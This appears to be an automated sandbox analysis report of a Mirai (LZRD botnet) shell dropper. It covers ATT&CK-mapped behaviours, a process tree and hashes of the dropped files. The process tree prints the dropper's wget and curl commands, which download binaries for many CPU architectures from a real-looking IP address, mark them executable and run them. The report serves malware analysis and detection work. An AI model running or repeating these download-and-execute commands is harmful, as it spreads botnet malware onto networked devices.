mirai | 89b2e1eac68709ec7626191285459646dbb536312b89fb39c761466d8613414a

Analysis

max time kernel
146s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
01/12/2024, 16:03

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General

Target

ohshit.sh
Size

3KB
MD5

a0d4728b5b0bac50f8598ff0ea75f798
SHA1

83fc87c6b0b27084cbf1202fed8672c7d2f78e97
SHA256

89b2e1eac68709ec7626191285459646dbb536312b89fb39c761466d8613414a
SHA512

96283865e1c1de1c831911ef318078a24c10a02854acc7479a2110807d45ffa36a7700e5382c09ef1b947eb638b5c75a584e07014d3658f5f9d55913956fcb97

Score

10^/10

mirai lzrd antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
811	chmod
692	chmod
749	chmod
766	chmod
677	chmod
799	chmod
816	chmod
828	chmod
840	chmod
859	chmod
714	chmod
738	chmod
789	chmod
846	chmod
851	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Chaotic	678	Chaotic
/tmp/Chaotic	694	Chaotic
/tmp/Chaotic	715	Chaotic
/tmp/Chaotic	739	Chaotic
/tmp/Chaotic	750	Chaotic
/tmp/Chaotic	768	Chaotic
/tmp/Chaotic	790	Chaotic
/tmp/Chaotic	800	Chaotic
/tmp/Chaotic	812	Chaotic
/tmp/Chaotic	817	Chaotic
/tmp/Chaotic	829	Chaotic
/tmp/Chaotic	841	Chaotic
/tmp/Chaotic	847	Chaotic
/tmp/Chaotic	852	Chaotic
/tmp/Chaotic	860	Chaotic

Modifies Watchdog functionality 1 TTPs 6 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 6 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-5.dat	upx
behavioral2/files/fstream-6.dat	upx
behavioral2/files/fstream-7.dat	upx
behavioral2/files/fstream-8.dat	upx

Checks CPU configuration 1 TTPs 15 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/24/status	Chaotic
File opened for reading	/proc/696/status	Chaotic
File opened for reading	/proc/41/status	Chaotic
File opened for reading	/proc/299/status	Chaotic
File opened for reading	/proc/829/status	Chaotic
File opened for reading	/proc/15/status	Chaotic
File opened for reading	/proc/2/status	Chaotic
File opened for reading	/proc/824/status	Chaotic
File opened for reading	/proc/162/status	Chaotic
File opened for reading	/proc/645/status	Chaotic
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/394/status	Chaotic
File opened for reading	/proc/265/status	Chaotic
File opened for reading	/proc/9/status	Chaotic
File opened for reading	/proc/306/status	Chaotic
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/7/status	Chaotic
File opened for reading	/proc/11/status	Chaotic
File opened for reading	/proc/735/status	Chaotic
File opened for reading	/proc/299/status	Chaotic
File opened for reading	/proc/42/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	Chaotic
File opened for reading	/proc/14/status	Chaotic
File opened for reading	/proc/271/status	Chaotic
File opened for reading	/proc/296/status	Chaotic
File opened for reading	/proc/8/status	Chaotic
File opened for reading	/proc/12/status	Chaotic
File opened for reading	/proc/212/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/146/status	Chaotic
File opened for reading	/proc/410/status	Chaotic
File opened for reading	/proc/28/status	Chaotic
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/803/status	Chaotic
File opened for reading	/proc/3/status	Chaotic
File opened for reading	/proc/4/status	Chaotic
File opened for reading	/proc/104/status	Chaotic
File opened for reading	/proc/645/status	Chaotic
File opened for reading	/proc/16/status	Chaotic
File opened for reading	/proc/107/status	Chaotic
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/1/status	Chaotic
File opened for reading	/proc/394/status	Chaotic
File opened for reading	/proc/9/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/25/status	Chaotic
File opened for reading	/proc/22/status	Chaotic
File opened for reading	/proc/5/status	Chaotic
File opened for reading	/proc/23/status	Chaotic
File opened for reading	/proc/267/status	Chaotic
File opened for reading	/proc/20/status	Chaotic
File opened for reading	/proc/139/status	Chaotic
File opened for reading	/proc/10/status	Chaotic
File opened for reading	/proc/212/status	Chaotic
File opened for reading	/proc/19/status	Chaotic
File opened for reading	/proc/2/status	Chaotic
File opened for reading	/proc/599/status	Chaotic
File opened for reading	/proc/306/status	Chaotic
File opened for reading	/proc/29/status	Chaotic
File opened for reading	/proc/280/status	Chaotic
File opened for reading	/proc/self/exe	Chaotic
File opened for reading	/proc/6/status	Chaotic
File opened for reading	/proc/644/status	Chaotic

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
748	cat
752	wget
759	curl
764	cat
741	wget
747	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sparc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	wget
File opened for modification	/tmp/Chaotic	ohshit.sh
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	wget

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:644
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:651
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:654
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:673
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:676
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-QhI8kB ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - File and Directory Permissions Modification
  PID:677
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:678
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:680
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:683
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  PID:691
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-QhI8kB ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:694
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:697
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:706
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  PID:713
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-QhI8kB ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:714
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:715
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:718
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:726
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  PID:737
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-QhI8kB ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:739
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  PID:748
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-QhI8kB ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:750
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:752
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:759
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:764
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-QhI8kB ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:768
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:769
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  PID:787
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-QhI8kB ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:790
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:793
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:794
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  PID:798
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:800
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:808
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  PID:810
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:812
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:813
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:814
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  PID:815
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:817
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:825
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:826
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  PID:827
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:829
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:837
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:838
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  PID:839
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:841
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:843
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:844
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:845
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:847
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:848
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:849
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  PID:850
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:852
- /usr/bin/wget
  wget http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:854
- /usr/bin/curl
  curl -O http://64.235.45.196/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  PID:858
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sh4 ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Chaotic

Filesize
37KB

MD5
08cf04b0ad15a8c7c449088e16315353

SHA1
ffacbdbcd817f007e6c57c54b4bbbf69c717670e

SHA256
45dfa91dd7d2e4786d97d8306ecd7ddb681ee47307c5c71adfa363a99579e9a7

SHA512
5484205f6981d97b2712a1d1b9ae18133ddd279aa466a0fb4da48e4613a9e33a45d2f83fe938a890308c1fab93f6ef44c0665c8b2d21990fe2284c88909adcae

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/tmp/Chaotic

Filesize
36KB

MD5
61e21345f095015159d3bc3cf8e03c45

SHA1
10110e69d9ad7704150f454d385312c4784f6ec8

SHA256
fbdd988dc8735258f6fea1c65e740d2b727844ad120b065bfb8a545b7aad9dc6

SHA512
1aaf63f2e069fbbfb4b40e132e67befb14b0dfe421bb3eb6dee02bac2781d34ae7e8e7dba693700ae218cfcf9f687e1694a2a6f1ee04bfc6fc2233d0c9debb68

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/tmp/Chaotic

Filesize
37KB

MD5
01c4bb5aa6e4171cfca5f9203e3573a7

SHA1
1a88dc57a6852af524bbf5b9570cade7c119f5a7

SHA256
cf079902dc78084fb677eabd3782562d1c5acf730f7c25e24a17eaef19f3ab0c

SHA512
df9f0bcc5c27490b2083ae7127f322f4cb97b3eca17ca37191ef3035975ddd6c5c14de6a055f966fed5d0635baa558d1236d94ebe9789d78740971e3cbdfdf94

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/tmp/Chaotic

Filesize
43KB

MD5
1bfc3c30353a70ff76a3cd055f5970aa

SHA1
74d484d5f6dec05098d164681f213d338551d1ef

SHA256
a0f785888f8ea0b4b70288d0535fc51ea2feafe56b985381743d7f2ff15ed0d0

SHA512
a714b3359e97e72b5042c5cb1e24f5435b35aff2c1e3bc2993d68c0a8173349f37c3f791c605af095072da9981c79cee82c6ad29d527ceb4e6170a689892c05a

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/tmp/Chaotic

Filesize
95KB

MD5
98edb56345345a350920c9eef926b9ec

SHA1
338678a4f10411e093f624121d0224f64a143d62

SHA256
2fcc36963326a289cd61360073f5594e90d9790d33ec23bb1221b560c80f8ec8

SHA512
98afca538397376b016135540d173fc966d0e908dad2a06df2379388b8d22786f7f47c5225c1ad57fa912f491c21e0fff110c782ed9a3e6035a086be43f83f96

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/tmp/busybox

Filesize
507KB

MD5
e588bcf03ae78237b58899d35f50c570

SHA1
2194732ebbefbc27bdae876c77f2a97a20175710

SHA256
2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88

SHA512
904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555

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/tmp/ub8ehJSePAfc9FYqZIT6.arc

Filesize
113KB

MD5
731281856cddc0758f79ba6dc1cda3c4

SHA1
afd1c9de211952031af53529c4c5de07e17c3a8a

SHA256
a5b802a712ab8b03041deb61d6a552a951b998570cf2fc842958974666c9387f

SHA512
4d9514e59144a5c15b6290d72f77bf2b61d888a422b037710e512995e7df29e39f1da19af7a836172b4d593ff0f5dc0223b188d82ce06defa35b9aadb362bbc6

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads